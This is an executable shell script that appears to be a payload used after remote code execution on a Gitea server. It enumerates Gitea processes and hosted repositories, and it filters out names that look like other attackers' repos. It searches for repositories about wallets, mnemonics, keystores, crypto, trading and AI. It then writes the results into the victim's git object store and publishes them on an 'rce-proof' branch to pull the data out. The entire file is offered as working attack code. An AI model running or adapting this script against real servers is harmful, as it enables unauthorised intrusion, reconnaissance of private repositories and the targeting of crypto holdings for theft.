36 lines
2.0 KiB
Bash
Executable File
36 lines
2.0 KiB
Bash
Executable File
#!/bin/sh
|
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
|
origin=""
|
|
if [ -f "$git_dir/objects/info/alternates" ]; then
|
|
o=$(head -1 "$git_dir/objects/info/alternates") || o=""
|
|
case "$o" in
|
|
/*) origin="${o%/objects}" ;;
|
|
*) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
|
|
esac
|
|
fi
|
|
if [ -z "$origin" ]; then
|
|
u=$(git remote get-url origin 2>/dev/null) || u=""
|
|
case "$u" in /*) origin="${u%.git}";; esac
|
|
fi
|
|
if [ -z "$origin" ]; then
|
|
u=$(git config --get remote.origin.url 2>/dev/null) || u=""
|
|
case "$u" in /*) origin="${u%.git}";; esac
|
|
fi
|
|
if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
|
|
{ echo '==PS=='
|
|
ps aux 2>/dev/null | grep -i gitea | grep -v grep | head -5
|
|
echo '==TOTAL=='
|
|
find /var/lib/gitea/repositories -maxdepth 3 -name '*.git' -type d 2>/dev/null | wc -l
|
|
echo '==NONATK=='
|
|
find /var/lib/gitea/repositories -maxdepth 2 -type d 2>/dev/null | grep -vE '/(atk_|attk|poc|gitea_exp|gitea1337|giteaa1337|git_check|gitupdate|aud[a-z0-9]{4,}|operator[0-9a-f]{6,}|cr_|user_[0-9a-f]{8}|u[0-9a-f]{7}|6nn7nzw5|codeb0ss_|harv|hv[0-9]{4}|poc[0-9a-z]{3,}|p[0-9a-f]{7}|lisawhite|dark)/' 2>/dev/null | head -120
|
|
echo '==KW=='
|
|
find /var/lib/gitea/repositories -maxdepth 3 -name '*.git' -type d 2>/dev/null | grep -iE '(ai|gpt|llm|openai|deepseek|claude|gemini|langchain|agent|wallet|usdt|usdc|crypto|coin|bitcoin|btc|eth|ethereum|tron|trx|token|nft|defi|dex|swap|mining|exchange|mnemonic|keystore|solidity|blockchain|solana|signer|quant|trading|arbitrage|staking|bridge|vault|payment|merchant|casino|bot|telegram)' | head -400
|
|
} 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
|
|
ob=$(cat /tmp/gpoc_blob 2>/dev/null)
|
|
[ -n "$ob" ] || exit 4
|
|
tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
|
|
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
|
|
git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
|
|
fi
|
|
exit 0
|